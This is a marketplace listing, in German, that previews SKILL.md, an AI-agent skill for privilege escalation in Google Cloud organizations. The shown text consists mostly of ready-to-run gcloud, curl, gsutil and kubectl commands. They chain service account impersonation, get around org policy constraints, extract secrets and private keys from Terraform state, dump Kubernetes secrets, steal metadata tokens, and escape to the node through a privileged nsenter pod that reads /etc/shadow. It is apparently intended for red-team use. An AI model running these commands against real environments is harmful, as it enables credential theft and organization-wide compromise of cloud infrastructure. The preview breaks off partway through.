Skip to main content

gcp-org-escalation

GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.

Zur Installation springen

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
29. Juni 2026 um 01:38
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.522
Forks
1.048

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
gcp-org-escalation
description
GCP organization-level privilege escalation — cross-project pivoting, org policy bypass, service account impersonation chains, Terraform state secrets, and GKE cluster compromise. Escalate from single-project access to org-wide control.
metadata
{"subdomain":"cloud","when_to_use":"gcp google cloud organization escalation privilege cross-project pivot service account impersonation org policy bypass terraform state gke cluster iam enumeration gcloud resource manager bigquery cloud function","mitre_attack":"T1078.004, T1580","tags":"cloud gcp privilege-escalation org-level cross-project"}
# GCP Organization-Level Privilege Escalation Escalate from a single compromised GCP project to organization-wide access. GCP's hierarchical IAM (Org → Folder → Project → Resource) means permissions inherited from above are invisible at the project level. Cross-project service account impersonation, org policy constraint bypass, and Terraform state pillaging unlock lateral movement across the entire cloud estate. ## Quick Reference ```bash # Current identity and project gcloud auth list gcloud config get-value project gcloud organizations list # Enumerate org-level IAM gcloud organizations get-iam-policy <ORG_ID> --format=json # List all projects in org gcloud projects list --filter="parent.id=<ORG_ID>" --format="table(projectId,name,lifecycleState)" # Test cross-project service account impersonation gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL> # List org policy constraints gcloud org-policies list --organization=<ORG_ID> # Find Terraform state buckets gsutil ls -p <PROJECT_ID> | xargs -I{} gsutil ls {} | grep -i terraform ``` ## MITRE ATT&CK Mapping | Technique | ID | Application | |---|---|---| | Valid Accounts: Cloud Accounts | T1078.004 | Abuse compromised SA or user for cross-project access | | Cloud Infrastructure Discovery | T1580 | Enumerate projects, SAs, IAM bindings, resources across org | | Account Manipulation: Additional Cloud Roles | T1098.001 | Add IAM bindings for persistence | | Steal Application Access Token | T1528 | Extract SA keys, OAuth tokens, metadata tokens | | Cloud Storage Object Discovery | T1619 | Discover Terraform state, config buckets | ## 1. IAM Enumeration at Organization Level ```bash # List organization ORG_ID=$(gcloud organizations list --format="value(ID)" | head -1) echo "Org ID: $ORG_ID" # Org-level IAM policy (who has org-wide access) gcloud organizations get-iam-policy "$ORG_ID" --format=json > org_iam.json cat org_iam.json | jq '.bindings[] | select(.role | test("admin|owner|editor|security")) | {role, members}' # List all folders gcloud resource-manager folders list --organization="$ORG_ID" --format="table(name,displayName)" > folders.txt # Enumerate folder-level IAM while read folder_id; do echo "=== $folder_id ===" gcloud resource-manager folders get-iam-policy "$folder_id" --format=json 2>/dev/null done < <(gcloud resource-manager folders list --organization="$ORG_ID" --format="value(name)") # List ALL projects in org gcloud projects list --filter="parent.id=$ORG_ID" --format=json > all_projects.json # Per-project IAM enumeration (find over-permissioned SAs) for proj in $(jq -r '.[].projectId' all_projects.json); do echo "=== $proj ===" gcloud projects get-iam-policy "$proj" --format=json 2>/dev/null | \ jq '.bindings[] | select(.members[] | test("serviceAccount")) | {role, members}' done # List all service accounts across projects for proj in $(jq -r '.[].projectId' all_projects.json); do gcloud iam service-accounts list --project="$proj" --format="table(email,displayName)" 2>/dev/null done # Test current permissions gcloud projects get-iam-policy <PROJECT_ID> --flatten="bindings[].members" \ --filter="bindings.members:$(gcloud auth list --filter=status:ACTIVE --format='value(account)')" \ --format="table(bindings.role)" ``` ## 2. Cross-Project Service Account Impersonation ```bash # Service account impersonation chain: # SA-A (compromised) → impersonate SA-B (target project) → access target resources # Check if current SA can impersonate other SAs gcloud iam service-accounts list --project=<TARGET_PROJECT> --format="value(email)" | while read sa; do echo "Testing: $sa" gcloud auth print-access-token --impersonate-service-account="$sa" 2>/dev/null && echo "[+] CAN IMPERSONATE: $sa" done # Check who can impersonate a specific SA gcloud iam service-accounts get-iam-policy <TARGET_SA_EMAIL> --format=json | \ jq '.bindings[] | select(.role | test("iam.serviceAccountTokenCreator|iam.serviceAccountUser"))' # Multi-hop impersonation (SA chaining) # SA-A → impersonate SA-B → impersonate SA-C gcloud auth print-access-token \ --impersonate-service-account=<SA_B_EMAIL> \ --include-email 2>/dev/null # Then use SA-B's token to impersonate SA-C via API TOKEN_B=$(gcloud auth print-access-token --impersonate-service-account=<SA_B_EMAIL>) curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_C_EMAIL>:generateAccessToken" \ -H "Authorization: Bearer $TOKEN_B" \ -H "Content-Type: application/json" \ -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}' # Default compute SA often has Editor role on project — look for it gcloud compute instances list --project=<PROJECT_ID> --format="table(name,serviceAccounts.email)" 2>/dev/null # Workload Identity Federation — check for external identity trust gcloud iam workload-identity-pools list --location=global --project=<PROJECT_ID> 2>/dev/null ``` ## 3. Org Policy Constraint Bypass ```bash # List active org policy constraints gcloud org-policies list --organization="$ORG_ID" --format="table(constraint,listPolicy,booleanPolicy)" # Common constraints to target: # constraints/iam.allowedPolicyMemberDomains — restricts who gets IAM # constraints/compute.vmExternalIpAccess — blocks external IPs # constraints/iam.disableServiceAccountKeyCreation — blocks SA key export # constraints/compute.requireShieldedVm — forces shielded VMs # constraints/storage.uniformBucketLevelAccess — forces uniform bucket ACLs # Check specific constraint gcloud org-policies describe constraints/iam.disableServiceAccountKeyCreation \ --organization="$ORG_ID" --format=json # Bypass: constraints/iam.disableServiceAccountKeyCreation # Cannot create key via CLI, but can still: # 1. Use impersonation (no key needed) gcloud auth print-access-token --impersonate-service-account=<SA_EMAIL> # 2. Generate short-lived tokens via API curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:generateAccessToken" \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"43200s"}' # 3. Sign JWTs for federated auth curl -s -X POST "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/<SA_EMAIL>:signJwt" \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{"payload":"{\"iss\":\"<SA_EMAIL>\",\"sub\":\"<SA_EMAIL>\",\"aud\":\"https://oauth2.googleapis.com/token\",\"iat\":'"$(date +%s)"',\"exp\":'"$(($(date +%s)+3600))"'}"}' # Bypass: constraints/compute.vmExternalIpAccess # Use Cloud NAT or IAP tunnel instead of external IP gcloud compute ssh <INSTANCE> --tunnel-through-iap --project=<PROJECT_ID> # Bypass: constraints/iam.allowedPolicyMemberDomains # If constraint allows only @target.com, compromise a target.com identity # Or use a service account (SAs are exempt from domain restrictions in some configs) ``` ## 4. Terraform State Access ```bash # Terraform state files contain secrets, credentials, and full resource details # Find Terraform state in GCS buckets for proj in $(jq -r '.[].projectId' all_projects.json); do gsutil ls -p "$proj" 2>/dev/null | while read bucket; do gsutil ls -r "$bucket" 2>/dev/null | grep -iE 'terraform|\.tfstate' done done # Download Terraform state gsutil cp gs://<BUCKET>/terraform.tfstate /tmp/tfstate.json # Extract secrets from state cat /tmp/tfstate.json | jq -r '.. | .attributes? // empty | to_entries[] | select(.key | test("password|secret|key|token|private")) | "\(.key): \(.value)"' 2>/dev/null # Extract service account keys from state cat /tmp/tfstate.json | jq -r '.. | select(.type? == "google_service_account_key") | .instances[].attributes.private_key' 2>/dev/null | base64 -d > /tmp/sa_key.json # Extract database credentials cat /tmp/tfstate.json | jq '.. | select(.type? == "google_sql_user") | .instances[].attributes | {name, password}' 2>/dev/null # Find Terraform Cloud/Enterprise state (if using remote backend) # Check .terraform/terraform.tfstate for backend config find / -name "*.tfstate" -o -name "backend.tf" -o -name ".terraform" 2>/dev/null # Check if Terraform state bucket has versioning (access old secrets) gsutil versioning get gs://<BUCKET> gsutil ls -a gs://<BUCKET>/terraform.tfstate # list all versions gsutil cp gs://<BUCKET>/terraform.tfstate#<GENERATION_ID> /tmp/old_tfstate.json ``` ## 5. GKE Cluster Pivoting ```bash # Enumerate GKE clusters across projects for proj in $(jq -r '.[].projectId' all_projects.json); do echo "=== $proj ===" gcloud container clusters list --project="$proj" --format="table(name,location,currentMasterVersion,currentNodeVersion)" 2>/dev/null done # Get cluster credentials gcloud container clusters get-credentials <CLUSTER_NAME> --zone=<ZONE> --project=<PROJECT_ID> # Enumerate cluster kubectl auth can-i --list kubectl get namespaces kubectl get pods --all-namespaces kubectl get secrets --all-namespaces # Extract secrets kubectl get secrets --all-namespaces -o json | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name, data: (.data | to_entries[] | {key: .key, value: (.value | @base64d)})}' # Access cloud metadata from pod (node SA token) kubectl run probe --image=alpine --restart=Never --command -- sh -c \ "apk add curl jq && curl -s -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq ." # Workload Identity — check pod SA mappings kubectl get serviceaccounts --all-namespaces -o json | \ jq '.items[] | select(.metadata.annotations["iam.gke.io/gcp-service-account"] != null) | {namespace: .metadata.namespace, k8sSA: .metadata.name, gcpSA: .metadata.annotations["iam.gke.io/gcp-service-account"]}' # Escape to node (if privileged pod or hostPath mount) kubectl run escape --image=alpine --restart=Never --overrides='{ "spec":{"hostPID":true,"hostNetwork":true,"containers":[{ "name":"escape","image":"alpine","command":["nsenter","--target","1","--mount","--uts","--ipc","--net","--pid","--","bash","-c","id; cat /etc/shadow | head -3"], "securityContext":{"privileged":true} }]} }' # GKE node SA typically has compute/storage access — pivot from there ``` ## 6. Cross-Service Pivoting ```bash # BigQuery — access datasets across projects for proj in $(jq -r '.[].projectId' all_projects.json); do bq ls --project_id="$proj" 2>/dev/null | grep -v "datasetId" done # Query cross-project BigQuery (if IAM allows) bq query --use_legacy_sql=false "SELECT * FROM \`<TARGET_PROJECT>.<DATASET>.<TABLE>\` LIMIT 100" # Cloud Functions — list and read source code for proj in $(jq -r '.[].projectId' all_projects.json); do gcloud functions list --project="$proj" --format="table(name,runtime,status)" 2>/dev/null done # Download function source gcloud functions describe <FUNCTION_NAME> --project=<PROJECT_ID> --format="value(sourceArchiveUrl)" gsutil cp <SOURCE_URL> /tmp/function_source.zip # Secret Manager — list and access secrets for proj in $(jq -r '.[].projectId' all_projects.json); do echo "=== $proj ===" gcloud secrets list --project="$proj" --format="table(name,createTime)" 2>/dev/null done # Read secret value gcloud secrets versions access latest --secret=<SECRET_NAME> --project=<PROJECT_ID> # Cloud SQL — find databases for proj in $(jq -r '.[].projectId' all_projects.json); do gcloud sql instances list --project="$proj" --format="table(name,databaseVersion,ipAddresses)" 2>/dev/null done # Pub/Sub — read messages from subscriptions
Auf GitHub ansehen
Diese SKILL.md ist sehr gross, daher zeigt SkillsMP hier nur den ersten Abschnitt. Auf GitHub ansehen